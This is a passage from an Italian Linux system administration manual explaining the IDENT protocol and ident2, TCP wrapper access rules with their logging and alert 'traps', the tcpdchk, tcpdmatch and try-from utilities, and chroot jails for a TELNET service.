Il demone '**identd**' ha lo scopo di controllare i collegamenti per mezzo del protocollo TCP. In tal modo è in grado di informare il nodo all'altro capo del collegamento sul nominativo-utente di chi esegue quel collegamento. Si osservi la figura 48.30.

Figura 48.30. Il protocollo IDENT serve a fornire alla controparte le informazioni necessarie a identificare l'utente che ha in corso una connessione TCP particolare.

Seguendo l'esempio della figura, se un utente del nodo «A» ha iniziato una connessione TCP con il nodo «B» (in questo caso si tratta di TELNET), dal nodo «B» può essere richiesto al nodo «A» di fornire le informazioni sull'utente che esegue il processo responsabile del collegamento. Come si vede, tale richiesta viene fatta usando il protocollo IDENT e la risposta può essere fornita solo se l'origine gestisce tale servizio.

In linea teorica, è utile fornire questo tipo di servizio, purché il demone '**identd**' non sia stato compromesso e fornisca informazioni corrette. In questo modo, se un utente di un sistema che

fornisce il servizio IDENT, utilizzando il protocollo TCP, cercasse di aggredire un qualche nodo esterno, l'amministratore del nodo aggredito potrebbe ottenere il nominativo-utente di quella persona attraverso il protocollo IDENT. Successivamente, tale amministratore avrebbe modo di essere più dettagliato nel riferire l'accaduto al suo collega del sistema da cui è originato l'attacco, a tutto vantaggio di questo ultimo amministratore. Tuttavia, in pratica si considera che il protocollo IDENT non sia corretto per la riservatezza personale e tende a essere utilizzato solo nelle reti private, per controllare l'accessibilità di certi servizi interni, ma senza permettere che tale protocollo possa poi raggiungere l'esterno.

48.3.1 Ident2

Ident2[8] è uno tra tanti servizi IDENT disponibili per i sistemi GNU. Il programma che svolge il lavoro viene chiamato generalmente '**ident2**' e la configurazione del supervisore dei servizi di rete, in questo caso nel file '/etc/inetd.conf', viene fatta normalmente così:

```
# /etc/inetd.conf
…
auth  stream  tcp  nowait  root  /usr/sbin/ident2 ident2
```

Come si può osservare, il programma viene avviato con i privilegi dell'utente '**root**' e di norma non si usano opzioni.

Si nota l'assenza del richiamo al TCP wrapper, in quanto si vuole che il servizio IDENT sia accessibile a tutti i nodi e non solo a quelli che passano il filtro stabilito all'interno di '/etc/hosts.allow' e '/etc/hosts.deny'. Inoltre, va osservato che il TCP wrapper non può essere utilizzato perché esso stesso può essere configurato per interrogare l'origine di una richiesta attraverso il protocollo IDENT, formando in tal caso un ciclo senza fine.

48.3.2 Interrogazione del servizio e librerie

A quanto pare manca un programma di servizio specifico per l'interrogazione del servizio IDENT; in pratica si deve utilizzare un cliente TELNET verso la porta 113 (denominata '**auth**').

Il primo problema è quello di scoprire le porte della connessione che si intende verificare alla fonte. Questo lo si fa con '**netstat**'. A titolo di esempio, si immagina di essere nel nodo «B» dello schema mostrato nella figura 48.30 e di volere verificare l'origine di una connessione TELNET proveniente dal nodo «A» (proprio come mostrava la figura).

Prima di tutto, si deve scoprire che esiste una connessione TELNET (sospetta), cosa che avviene attraverso la lettura dei messaggi del registro del sistema. Purtroppo, se il TCP wrapper non è configurato correttamente, potrebbe mancare l'indicazione delle porte utilizzate, costringendo ad andare un po' per tentativi. Si suppone che sia in corso attualmente un'unica connessione di questo tipo, in tal caso la lettura del rapporto di '**netstat**' non può generare equivoci.

$ **netstat -n** [*Invio*]

Il rapporto potrebbe essere piuttosto lungo. Per quello che riguarda questo esempio, si potrebbe notare l'estratto seguente:

```
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address       Foreign Address     State
…
tcp        0      0 192.168.254.1:23    192.168.1.1:1108    ESTABLISHED
…
```

Il punto di vista è quello del nodo 192.168.254.1, mentre il nodo remoto è 192.168.1.1. Per interrogare il servizio IDENT presso il nodo remoto si utilizza un cliente TELNET nel modo seguente (eventualmente, al posto del nome '**auth**' si può indicare direttamente il numero: 113).

$ **telnet 192.168.1.1 auth** [*Invio*]

```
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
```

1108 , 23 [*Invio*]

```
1108 , 23 : USERID : OTHER :tizio
Connection closed by foreign host.
```

Così si viene a conoscere che la connessione è intrattenuta dall'utente '**tizio@192.168.1.1**'.

Un demone di un servizio qualunque potrebbe essere modificato in modo da utilizzare sistematicamente il protocollo IDENT per interpellare i clienti, annotando nel registro del sistema gli utenti che accedono. Per questo e altri utilizzi, esiste la libreria '**libident**', disponibile con quasi tutte le distribuzioni GNU.

Probabilmente, solo la distribuzione Debian acclude il demone '**identtestd**' assieme alla libreria '**libident**'. Si tratta di un programma da collocare nel file di configurazione del supervisore dei servizi di rete, per esempio '/etc/inetd.conf', collegandolo a una porta non utilizzata, il cui scopo è solo quello di restituire le informazioni di chi dovesse fare un tentativo di accesso attraverso un cliente TELNET su quella stessa porta. In pratica, '**identtestd**' serve esclusivamente per verificare il funzionamento del proprio servizio IDENT.

Nel caso si utilizzi Inetd, si attiva il servizio (diagnostico) attraverso una riga come quella seguente, nel file '/etc/inetd.conf'.

```
…
3113  stream  tcp  nowait  root  /usr/sbin/in.identtestd in.identtestd
…
```

Una volta riavviato il supervisore dei servizi di rete, si può interpellare tale «servizio» con un cliente TELNET da un nodo in cui è presente IDENT, per verificarne il funzionamento. Si osservi l'esempio.

telnet 192.168.1.1 3113 [*Invio*]

```
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
Welcome to the IDENT server tester, version 1.9

 (Linked with libident-libident 0.21 Debian 4)

Connecting to Ident server at 192.168.254.1...
Querying for lport 2252, fport 9999....
Reading response data...
Userid response is:
   Lport........ 2252
   Fport........ 9999
   Opsys........ OTHER
   Charset...... <not specified>
   Identifier... root
Connection closed by foreign host.
```

48.3.3 Autenticazione interna tramite IDENT

All'inizio della sezione dedicata al protocollo IDENT, si accenna al fatto che questo protocollo, in sé, implichi una mancanza di riservatezza per gli utenti, oltre che un maggiore pericolo rispetto ai tentativi di accesso dall'esterno (in quanto la conoscenza dei nominativi utente esistenti consente di concentrare l'attenzione su quelli). Tuttavia, si può isolare una rete locale, rispetto all'esterno, attraverso un firewall che impedisca il transito di richieste IDENT, sfruttando il servizio internamente.

In una rete locale, il protocollo IDENT consente di abilitare l'accesso a servizi interni, in base al nominativo utente. Una situazione molto comune riguarda il riconoscimento degli utenti che accedono (dalla rete locale) a una base di dati interna, oppure il filtro degli accessi a un proxy che risulta essere l'unica possibilità di accesso all'esterno con il protocollo HTTP.

Figura 48.37. Se si vuole usare il protocollo IDENT nella rete locale, è opportuno che questo non possa attraversare il router che instrada verso la rete esterna.

48.3.4 Proxy trasparente

Come accennato poco sopra, una delle situazioni in cui si rende utile o necessario l'uso del protocollo IDENT è rappresentata dal filtro all'accesso esterno verso il protocollo HTTP, attraverso un proxy. Ma se questo servizio proxy funziona in modo «trasparente», ovvero all'insaputa dei programmi clienti, come se si trattasse di un router normale, il meccanismo del riconoscimento tramite il protocollo IDENT non funziona.

Figura 48.38. Lo schema semplifica il problema introdotto dal proxy trasparente che non è in grado di interrogare il servizio IDENT.

Perché un proxy trasparente possa avvalersi del servizio IDENT per riconoscere gli utenti e decidere se autorizzarli o meno ad accedere, occorre che il programma che offre il servizio IDENT sia stato modificato ad arte. Nel caso di Ident2 esiste una modifica, pubblicata da Fabian Franz, valida però solo per la versione adatta ai sistemi GNU/Linux. La modifica da apportare al sorgente di Ident2 riguarda il file '`sys/m_linux.c`' che, prima della modifica, contiene il pezzo seguente:

```
...
        if (lp == local_port && rp == remote_port
        && remote_addr == raddr->s_addr) {
                if (laddr == NULL) {
                        fclose (fp);
                        return uid;
                }
                else if (laddr->s_addr
                == local_addr) {
                        fclose (fp);
                        return uid;
                }
        }
...
```

Ecco come si presenta dopo la modifica, dove le righe modificate sono evidenziate con un carattere più scuro:

```
...
        if (lp == local_port
            && (rp == remote_port || (remote_port == 80 && rp == 8080))
            && (remote_addr == raddr->s_addr
                || (remote_port == 80 && rp == 8080))) {
                if (laddr == NULL) {
                        fclose (fp);
                        return uid;
                }
                else if (laddr->s_addr
                == local_addr) {
                        fclose (fp);
                        return uid;
                }
        }
...
```

In pratica, con questa modifica, se viene fatta una richiesta riferita a una porta 8080 e il servente IDENT trova una connessione rivolta alla porta 80, dà le informazioni su tale connessione, anche se questa è diretta a un indirizzo differente.

48.4 TCP wrapper in dettaglio

L'uso del TCP wrapper (il programma '**tcpd**') è già descritto in modo sommario nella sezione 42.1. In quella fase vengono però trascurate le sue potenzialià di controllo, le quali possono estendersi fino all'utilizzo del protocollo IDENT.

La configurazione del TCP wrapper avviene esclusivamente attraverso i file '`/etc/hosts.allow`' e '`/etc/hosts.deny`', all'interno dei quali si possono utilizzare direttive più complesse di quelle già descritte nella sezione 42.1. In ogni caso, è bene ribadire che lo scopo di questi file è quello di trovare una corrispondenza con l'utente e il nodo che tenta di accedere a uno dei servizi messi sotto il controllo del supervisore dei servizi di rete e di altri servizi che incorporano il TCP wrapper attraverso delle librerie. La verifica inizia dal file '`/etc/hosts.allow`' e continua con '`/etc/hosts.deny`', fermandosi alla prima corrispondenza corretta. Se la corrispondenza avviene con una direttiva del file '`/etc/hosts.allow`', l'accesso è consentito; se la corrispondenza avviene con una direttiva di '`/etc/hosts.deny`', l'accesso è impedito; se non avviene alcuna corrispondenza l'accesso è consentito.

> La configurazione del TCP wrapper è importante in un elaboratore sprovvisto di altre misure di controllo degli accessi. Pertanto, dal momento che è relativamente semplice attivare un filtro di pacchetto, il TCP wrapper tende a essere dimenticato, lasciando vuoti i suoi file di configurazione.

48.4.1 Limiti e particolarità del TCP wrapper

In generale, le connessioni RPC non si riescono a controllare facilmente con il TCP wrapper; inoltre, i servizi annotati come RPC-TCP nel file di configurazione del supervisore dei servizi di rete non sono gestibili attraverso il programma '**tcpd**'.

Alcuni demoni UDP e RPC rimangono attivi al termine del loro lavoro, in attesa di un'ulteriore richiesta eventuale. Questi servizi sono registrati nel file '/etc/inetd.conf' con l'opzione '**wait**' e così si possono riconoscere facilmente. Come si può intuire, solo la richiesta che li avvia può essere controllata da '**tcpd**'.

Alcuni dettagli di funzionamento di '**tcpd**' sono definiti in fase di compilazione dei sorgenti. Si tratta in particolare dell'opzione di compilazione '**-DPARANOID**', con la quale è come se fosse sempre attivo il jolly '**PARANOID**' nei file '/etc/hosts.allow' e '/etc/hosts.deny'. Di solito, i pacchetti già compilati del TCP wrapper sono stati ottenuti senza questa opzione, in modo da lasciare la libertà di configurarlo come si vuole.

Un altro elemento che può essere definito con la compilazione è il tipo di direttive che si possono accettare nei file '/etc/hosts.allow' e '/etc/hosts.deny'. Le due sintassi possibili sono descritte in due documenti separati: *hosts_access(5)* e *hosts_options(5)*.

48.4.2 Configurazione del TCP wrapper

Qui si mostra in particolare la sintassi dei file '/etc/hosts.allow' e '/etc/hosts.deny', quando nella fase di compilazione di '**tcpd**' non è stata abilitata l'estensione '**PROCESS_OPTIONS**'; in pratica si tratta della sintassi più limitata. Negli esempi si mostrano anche le corrispondenze con il secondo tipo di formato che può essere approfondito leggendo *hosts_options(5)*.

elenco_di_demoni : ***elenco_di_clienti*** [: ***comando_di_shell***]

La sintassi mostrata si riferisce al tipo più semplice di formato delle direttive di questi file; eventualmente potrebbe essere trasformata in quello più complesso nel modo seguente:

elenco_di_demoni : ***elenco_di_clienti*** [: spawn ***comando_di_shell***]

Quando non si sa quale sia il formato giusto per il proprio '**tcpd**', basta provare prima quello più semplice. Se non va bene si vede subito la segnalazione di errore nel registro del sistema.

I primi due elementi, l'elenco di demoni e l'elenco di clienti, sono descritti nella sezione 42.1. Vale forse la pena di ricordare che questi «elenchi» sono semplicemente nomi o modelli separati da spazi orizzontali, cosa che spiega la necessità di dividere i vari campi delle direttive attraverso i due punti verticali.

Ciò che appare a partire dal terzo campo di queste direttive (nel caso mostrato si tratta di un comando di shell, ma con la sintassi più complessa si parla piuttosto di opzioni), può contenere delle variabili, rappresentate da un simbolo di percentuale ('**%**') seguito da una lettera, le

quali vengono espanse da '**tcpd**' ogni volta che viene verificata la corrispondenza con quella direttiva determinata che le contiene (tabella 48.41).

Tabella 48.41. Elenco delle variabili utilizzabili in alcune parti delle direttive dei file di controllo degli accessi.

Variabile	Contenuto
`%a`	L'indirizzo del nodo cliente.
`%A`	L'indirizzo del nodo servente.
`%c`	L'informazione completa del nodo cliente per quanto disponibile.
`%d`	Il nome del processo del demone.
`%h`	Il nome del nodo cliente o l'indirizzo se il nome non è disponibile.
`%H`	Il nome del nodo servente o l'indirizzo se il nome non è disponibile.
`%n`	Il nome del nodo cliente o '**unknown**' o '**paranoid**'.
`%N`	Il nome del nodo servente o '**unknown**' o '**paranoid**'.
`%p`	Il numero del processo del demone.
`%s`	Informazione completa del nodo servente per quanto disponibile.
`%u`	Il nome dell'utente del nodo cliente o '**unknown**'.
`%%`	Un simbolo di percentuale singolo.

Una direttiva può contenere il simbolo di due punti ('**:**') all'interno di certi campi. In tal caso, per evitare che questi si confondano con la separazione dei campi, occorre precedere tale simbolo con la barra obliqua inversa: '**\:**'.

Una direttiva può essere interrotta e ripresa nella riga successiva se alla fine della riga appare una barra obliqua inversa, subito prima del codice di interruzione di riga.

> Ogni volta che si modifica uno di questi file, è indispensabile verificare che nel registro di sistema non appaiano indicazioni di errori di sintassi. Un problema tipico che si incontra è dovuto al fatto che ogni direttiva deve terminare con un codice di interruzione di riga. Se alla fine di una direttiva terminasse anche il file, questo costituirebbe un errore che ne impedirebbe il riconoscimento.

48.4.2.1 Demoni e clienti specificati in modo più preciso

I primi due campi delle direttive di questi file, permettono di indicare con più precisione sia i demoni, sia i clienti che accedono.

Quando il servente ha diversi indirizzi IP con cui può essere raggiunto, è possibile indicare nel primo campo un demone in combinazione con un indirizzo particolare dal quale proviene la richiesta. In pratica, il primo campo diventa un elenco di elementi del tipo seguente:

```
demone@modello_servente
```

Il demone può essere indicato per nome, oppure può essere messo al suo posto il jolly '**ALL**' che li rappresenta tutti.

Il modello del servente serve a rappresentare questi indirizzi per nome o per numero. Valgono anche in questo caso le regole con cui si possono definire i nomi e gli indirizzi di clienti, anche per quanto riguarda le indicazioni parziali (un intero dominio o un gruppo di indirizzi).

Più interessante è invece la possibilità di ottenere dal TCP wrapper la verifica del nominativo-utente del processo avviato dal cliente per la connessione. Si veda per questo, quanto già descritto in precedenza al riguardo del protocollo IDENT. Basta utilizzare nel secondo campo la sintassi seguente:

```
modello_utente@modello_cliente
```

Utilizzando questa forma, '**tcpd**', prima di concedere l'accesso al servizio, interpella il cliente attraverso il protocollo IDENT, per ottenere il nome dell'utente proprietario del processo che ha instaurato la connessione.

Se il cliente non risponde a questo protocollo, si crea una pausa di ritardo di circa 10 s. Implicitamente si penalizzano tutti gli utenti che usano sistemi operativi diversi da Unix e derivati.

Una volta ottenuta la risposta, o quando scade il tempo, può essere fatto il confronto con la direttiva. In ogni caso, questo tipo di direttiva fa sì che venga aggiunta questa informazione nel registro del sistema.

Il modello dell'utente può essere un nome puro e semplice, oppure un jolly: '**ALL**', '**KNOWN**' e '**UNKNOWN**'. Il significato è intuitivo: tutti gli utenti; solo gli utenti conosciuti; solo gli utenti sconosciuti.

Il modello del cliente è quello già visto in precedenza: nomi interi; nomi parziali che iniziano con un punto; indirizzi IP interi; indirizzi IP parziali che terminano con un punto; jolly vari.

È bene ribadire che l'informazione sull'utente restituita dal protocollo IDENT, non è affidabile. Un sistema compromesso potrebbe essere stato modificato in modo da restituire informazioni false.

48.4.2.2 Comandi di shell

Il terzo campo delle direttive di questi file, permette di inserire un comando di shell. Quando un accesso trova corrispondenza con una direttiva contenente un comando di shell, questo comando viene eseguito; mentre l'accesso viene consentito se la corrispondenza avviene all'interno del file '`/etc/hosts.allow`'.

Il comando può contenere le variabili descritte nella tabella 48.41, che sono utili per dare un senso a questi comandi.

Il comando viene eseguito utilizzando l'interprete '`/bin/sh`', connettendo standard input, standard output e standard error al dispositivo '`/dev/null`'. Generalmente, alla fine del comando viene indicato il simbolo '**`&`**', in modo da metterlo sullo sfondo, per evitare di dover attendere la sua conclusione.

Questi comandi non possono fare affidamento sulla variabile di ambiente ***PATH*** per l'avvio degli eseguibili, per cui si usando generalmente percorsi assoluti, a meno che questa variabile sia inizializzata esplicitamente all'interno del comando stesso.

48.4.2.3 Esempi e trappole

Seguono alcuni esempi che dovrebbero chiarire meglio l'uso delle direttive dei file '`/etc/hosts.allow`' e '`/etc/hosts.deny`'.

In tutti gli esempi mostrati si suppone che il file '`/etc/hosts.deny`' contenga solo la direttiva '**`ALL:ALL`**', in modo da escludere ogni accesso che non sia stato previsto espressamente nel file '`/etc/hosts.allow`'.

```
# /etc/hosts.allow
#
ALL : ALL@ALL
```

Supponendo che questa sia l'unica direttiva del file '`/etc/hosts.allow`', si intende che vengono consentiti esplicitamente tutti gli accessi a tutti i servizi. Tuttavia, avendo utilizzato la forma '**`ALL@ALL`**' nel secondo campo, si attiva il controllo dell'identità dell'utente del cliente, ottenendone l'annotazione del registro del sistema.

```
# /etc/hosts.allow
#
ALL : KNOWN@ALL
```

La direttiva combacia solo con accessi in cui gli utenti siano identificabili.

```
# /etc/hosts.allow
…
in.telnetd : ALL : ( /usr/sbin/safe_finger -l @%h ↩
↪| /bin/mail -s '%d-%u@%h' root ) &
```

Si tratta di una trappola con cui l'amministratore vuole essere avvisato di ogni tentativo di utilizzo del servizio TELNET. Il comando avvia '**`safe_finger`**' (una versione speciale di

Finger che accompagna il TCP wrapper) in modo da conoscere tutti i dati possibili sugli utenti connessi alla macchina cliente, inviando il risultato al comando '**mail**' per spedirlo a '**root**'.

Molto probabilmente, l'amministratore che prepara questa trappola, potrebbe fare in modo che il demone '**in.telnetd**' non sia disponibile, così che la connessione venga comunque rifiutata.

Se fosse stato necessario utilizzare l'altro tipo di formato per le direttive di questi file, l'esempio appena mostrato sarebbe il seguente: si aggiunge la parola chiave '**spawn**' che identifica l'opzione corrispondente.

```
# /etc/hosts.allow
…
in.telnetd : ALL : spawn ( /usr/sbin/safe_finger -l @%h ↩
↪| /bin/mail -s '%d-%u@%h' root ) &
```

L'esempio seguente mostra un tipo di trappola meno tempestivo, in cui ci si limita ad aggiungere un'annotazione particolare nel registro del sistema per facilitare le ricerche successive attraverso '**grep**'.

```
in.telnetd : ALL@ALL : ( /usr/bin/logger TRAPPOLA\: %d %c ) &
in.rshd    : ALL@ALL : ( /usr/bin/logger TRAPPOLA\: %d %c ) &
in.rlogind : ALL@ALL : ( /usr/bin/logger TRAPPOLA\: %d %c ) &
in.rexecd  : ALL@ALL : ( /usr/bin/logger TRAPPOLA\: %d %c ) &
ipop2d     : ALL@ALL : ( /usr/bin/logger TRAPPOLA\: %d %c ) &
ipop3d     : ALL@ALL : ( /usr/bin/logger TRAPPOLA\: %d %c ) &
imapd      : ALL@ALL : ( /usr/bin/logger TRAPPOLA\: %d %c ) &
in.fingerd : ALL@ALL : ( /usr/bin/logger TRAPPOLA\: %d %c ) &
```

Se necessario occorre aggiungere la parola chiave '**spawn**':

```
in.telnetd : ALL@ALL : spawn ( /usr/bin/logger TRAPPOLA\: %d %c ) &
in.rshd    : ALL@ALL : spawn ( /usr/bin/logger TRAPPOLA\: %d %c ) &
in.rlogind : ALL@ALL : spawn ( /usr/bin/logger TRAPPOLA\: %d %c ) &
in.rexecd  : ALL@ALL : spawn ( /usr/bin/logger TRAPPOLA\: %d %c ) &
ipop2d     : ALL@ALL : spawn ( /usr/bin/logger TRAPPOLA\: %d %c ) &
ipop3d     : ALL@ALL : spawn ( /usr/bin/logger TRAPPOLA\: %d %c ) &
imapd      : ALL@ALL : spawn ( /usr/bin/logger TRAPPOLA\: %d %c ) &
in.fingerd : ALL@ALL : spawn ( /usr/bin/logger TRAPPOLA\: %d %c ) &
```

Trattandosi di servizi che non si vogliono offrire (altrimenti non ci sarebbe ragione di registrare tanto bene gli accessi), anche in questo caso è opportuno che i demoni corrispondenti non ci siano, oppure che i rispettivi eseguibili siano sostituiti da una copia dello stesso programma '**tcpd**'.

Si osservi in particolare che all'interno del comando appare il simbolo di due punti protetto da una barra obliqua. Se non si facesse così, potrebbe essere interpretato come l'inizio di un nuovo campo.

48.4.2.4 Comandi e servizi UDP

I servizi UDP non si prestano tanto per la creazione di trappole, a causa del fatto che non si instaura una connessione come nel caso del protocollo TCP. Il caso più importante di questo problema è rappresentato dal servizio TFTP che, se controllato dal TCP wrapper potrebbe apparire nel file '/etc/inetd.conf' nel modo seguente:

```
tftp    dgram   udp     wait    root    /usr/sbin/tcpd  in.tftpd
```

Se si creasse una direttiva come quella seguente,

```
# /etc/hosts.allow
...
in.tftpd : ALL : ( /usr/sbin/safe_finger -l @%h ↩
↪| /bin/mail -s '%d-%u@%h' root ) &
```

si rischierebbe di avviare il comando di shell un gran numero di volte. Si può limitare questo problema modificando la riga contenuta nel file '/etc/inetd.conf' nel modo seguente:

```
tftp    dgram   udp     wait.2  root    /usr/sbin/tcpd  in.tftpd
```

In tal modo, si accetterebbero un massimo di due tentativi al minuto.

È il caso di ribadire che in generale, dovendo realizzare delle trappole per servizi UDP, conviene eliminare del tutto il demone dal file system.

48.4.3 Verifica della configurazione

Il programma '**tcpdchk**'[9] permette di controllare la configurazione del TCP wrapper, indicando problemi possibili ed eventualmente anche dei suggerimenti per la loro sistemazione.

```
tcpdchk [opzioni]
```

Il programma '**tcpdchk**' analizza i file '/etc/inetd.conf', '/etc/hosts.allow' e '/etc/hosts.deny'. Tra i vari tipi di verifiche che vengono eseguite, ci sono anche i nomi utilizzati per i nodi e i domini NIS. In tal senso, per avere un controllo più preciso, è opportuno utilizzare '**tcpdchk**' anche quando il sistema viene collegato in rete, avendo accesso alla configurazione reale del DNS e del NIS.

Opzione	Descrizione
-d	Esamina i file './hosts.allow' e './hosts.deny', cioè quelli che si trovano nella directory corrente.
-i *file_inetd*	Specifica il file da utilizzare al posto di '/etc/inetd.conf'.

48.4.4 Verifica delle corrispondenze

Il programma '**tcpdmatch**' [10] permette di verificare il comportamento della configurazione simulando delle richieste. In pratica, verifica il contenuto di '/etc/inetd.conf', '/etc/hosts.allow' e '/etc/hosts.deny', mostrando quello che succederebbe con una richiesta di connessione determinata.

```
tcpdmatch [opzioni] demone [@servente] [utente@] cliente
```

È obbligatoria l'indicazione di un demone, con l'eventuale aggiunta dell'indicazione del servente quando si possono distinguere per questo degli indirizzi diversi; inoltre è obbligatoria l'indicazione del cliente, con l'eventuale aggiunta dell'utente.

Nell'indicazione del servente si possono usare anche i jolly '**UNKNOWN**' e '**PARANOID**'; il valore predefinito, se questa indicazione manca, è '**UNKNOWN**'.

L'utente può essere indicato per nome o per numero UID; anche in questo caso si ammette il jolly '**UNKNOWN**', che è il valore predefinito in mancanza di questa indicazione.

Opzione	Descrizione
-d	Esamina i file './hosts.allow' e './hosts.deny', cioè quelli che si trovano nella directory corrente.
-i *file_inetd*	Specifica il file da utilizzare al posto di '/etc/inetd.conf'.

Segue la descrizione di alcuni esempi.

- `# tcpdmatch in.telnetd localhost` [*Invio*]

  Verifica il comportamento della configurazione per una richiesta di accesso al servizio TELNET, corrispondente al demone '**in.telnetd**', da parte del nodo *localhost*.

- `# tcpdmatch in.telnetd tizio@roggen.brot.dg` [*Invio*]

  Verifica il comportamento della configurazione per una richiesta di accesso al servizio TELNET, corrispondente al demone '**in.telnetd**', da parte dell'utente '**tizio**' dal nodo *roggen.brot.dg*.

- `# tcpdmatch in.telnetd@dinkel.brot.dg tizio@roggen.brot.dg` [*Invio*]

  Verifica il comportamento della configurazione per una richiesta di accesso al servizio TELNET, corrispondente al demone '**in.telnetd**', proveniente dall'interfaccia corrispondente al nome *dinkel.brot.dg*, da parte dell'utente '**tizio**' dal nodo *roggen.brot.dg*.

48.4.5 Un Finger speciale

Il programma '**safe_finger**'[11] è un cliente Finger che, da quanto indicato nella documentazione originale, dovrebbe essere più adatto per la creazione di trappole attraverso i comandi di shell.

Le sue funzionalità sono le stesse del comando '**finger**' normale e non viene indicato altro nella documentazione originale.

48.4.6 Verifica della propria identificazione

Il programma '**try-from**'[12] permette di verificare il funzionamento del sistema di identificazione del servente e del cliente. Si utilizza nel modo seguente:

```
rsh nodo /usr/sbin/try-from
```

Di solito, questo programma si utilizza per verificare il proprio sistema. Per fare un esempio, si immagina di essere l'utente '**caio**' che dal nodo *dinkel.brot.dg* si connette al suo stesso elaboratore per avviare '**try-from**'.

$ **rsh dinkel.brot.dg /usr/sbin/try-from** [*Invio*]

```
client address  (%a): 192.168.1.1
client hostname (%n): dinkel.brot.dg
client username (%u): caio
client info     (%c): caio@dinkel.brot.dg
server address  (%A): 192.168.1.1
server hostname (%N): dinkel.brot.dg
server process  (%d): try-from
server info     (%s): try-from@dinkel.brot.dg
```

Dal risultato che si ottiene, si può determinare che anche il servizio IDENT dell'elaboratore *dinkel.brot.dg* (visto come cliente) funziona correttamente.

48.5 Cambiare directory radice

I sistemi Unix, offrono generalmente una funzione che permette di fare funzionare un processo in un file system ridotto, in cui una certa directory diventa temporaneamente la sua nuova directory radice. Si tratta della funzione ***chroot()***, che nel caso di sistemi GNU/Linux, **può essere utilizzata solo da un processo con i privilegi dell'utente '`root`'**.

Le distribuzioni GNU/Linux mettono normalmente a disposizione il programma '**chroot**'[13] che permette di utilizzare in pratica questa funzione. In alternativa, ne esiste un'altra versione perfettamente funzionante con GNU/Linux (anche se non si trova nelle distribuzioni), che offre il vantaggio di fondere le funzionalità di '**chroot**' e di '**su**'; si tratta di '**chrootuid**' di Wietse Venema.

```
chroot directory [comando]
```

```
chrootuid directory utente comando
```

I programmi di servizio che si occupano di ridefinire la directory radice temporaneamente, per circoscrivere l'ambiente di un processo determinato (e dei suoi discendenti), richiedono l'indicazione della directory che deve diventare la nuova directory radice e del programma da avviare al suo interno. Ma il processo da avviare in questo ambiente deve trovare lì tutto quello che gli può servire, per esempio le librerie, o altri programmi se il suo scopo è quello di avviare altri sottoprocessi. Viene proposto un esempio pratico:

mkdir /tmp/nuova_root [*Invio*]

cp -dpR /bin /sbin /lib /etc /tmp/nuova_root [*Invio*]

Con quanto preparato in questo modo, si può avviare una shell circoscritta all'ambito della directory '`/tmp/nuova_root/`', che viene fatta diventare appunto la nuova directory radice.

chroot /tmp/nuova_root /bin/bash [*Invio*]

Con questo comando, si fa in modo che venga utilizzata la funzione ***chroot()*** perché '`/tmp/nuova_root/`' diventi la directory radice per il processo avviato con '`/bin/bash`'. È importante comprendere che '`/bin/bash`' va inteso qui come parte del sotto-file system e si tratta in generale di '`/tmp/nuova_root/bin/bash`'.

Per concludere l'esempio, una volta verificato che si sta lavorando effettivamente in un ambiente ristretto, basta fare terminare il processo per cui è stata cambiata la directory radice, cioè '**bash**'.

exit [*Invio*]

La definizione di un sotto-file system, permette di isolare il funzionamento di un programma che potrebbe costituire un pericolo di qualche tipo. Per esempio un servizio di rete che si teme possa consentire un qualche accesso non autorizzato.

Si potrebbe immaginare la possibilità di creare delle utenze in cui gli utenti non possano girovagare nel file system, limitandoli all'ambito di un sotto-file system appunto. Tuttavia, dal momento che un sistema GNU/Linux non permette l'utilizzo della funzione ***chroot()*** agli utenti comuni, di fatto non è possibile, almeno con i mezzi normali.

48.5.1 Un esempio pratico: TELNET

Viene qui mostrato in che modo potrebbero essere create delle utenze per l'accesso remoto attraverso TELNET, per escludere che gli utenti possano accedere a parti vitali del sistema. L'esempio viene indicato solo in linea di massima, trascurando dettagli che devono poi essere definiti da chi volesse utilizzare tale sistema realmente e in modo serio.

Per semplificare le cose, si può creare una copia del sistema operativo in funzione, a partire da una sottodirectory (ammesso che ci sia abbastanza spazio disponibile nel disco fisso). Si suppone di farlo nella directory '`/sicura/`'.

mkdir /sicura [*Invio*]

cp -dpR /bin /dev /etc /home /lib /opt /root /sbin /usr /var↩
↪ **/sicura** [*Invio*]

mkdir /sicura/tmp [*Invio*]

chmod 1777 /sicura/tmp [*Invio*]

mkdir /sicura/proc [*Invio*]

chmod 0555 /sicura/proc [*Invio*]

Quindi si «entra» in questo sistema e si fa un po' di pulizia, eliminando in particolare tutto quello che nella directory '`etc/`' non serve. Infatti, si deve considerare che in questo piccolo ambiente non esiste una procedura di inizializzazione del sistema, non esiste l'avvio di programmi demone e non si configura la rete. L'unica attenzione deve essere data alla configurazione delle shell che si vogliono poter utilizzare.

chroot /sicura [*Invio*]

...

exit [*Invio*]

Il sistema circoscritto appena creato, può avere delle difficoltà a funzionare in un sistema GNU/Linux, a causa della mancanza del contenuto della directory '`proc/`' che dovrebbe essere innestato anche lì. Questo innesto può essere definito convenientemente una volta per tutte nel file '`/etc/fstab`' del file system normale, avendo così due punti di innesto diversi e simultanei.

```
# /etc/fstab
...
none    /proc                   proc    defaults        0 0
none    /sicura/proc            proc    defaults        0 0
...
```

Si potrebbe valutare la possibilità di non lasciare l'accessibilità alle informazioni di questa directory. Si può provare a vedere se le attività che si vogliono concedere agli utenti sono compromesse dalla sua mancanza. Se il disagio è tollerabile, è meglio evitare di innestare la directory '`/proc/`' quando tutto è pronto.

Una volta sistemato questo particolare, tutto funziona meglio nel sistema che si articola dalla directory '`/sicura/`'. Per fare in modo che il servizio TELNET utilizzi questo spazio riservato, si deve modificare il file di configurazione del supervisore dei servizi di rete del file system normale; per esempio, nel caso di Inetd, il file '`/etc/inetd.conf`' va modificato in un modo simile a quello seguente:

```
...
telnet  stream  tcp     nowait  root    /usr/sbin/tcpd  /sicura/telnetd
...
```

Come si vede, per l'avvio del servizio è stato indicato l'eseguibile '`/sicura/telnetd`', che in pratica è uno script di shell che contiene la chiamata del comando '**`chroot`**', prima dell'avvio del vero demone '**`in.telnetd`**'.

```
#! /bin/sh
chroot /sicura /usr/sbin/in.telnetd
```

In questo caso, quanto indicato come '/usr/sbin/in.telnetd', è in realtà '/sicura/usr/sbin/in.telnetd'.

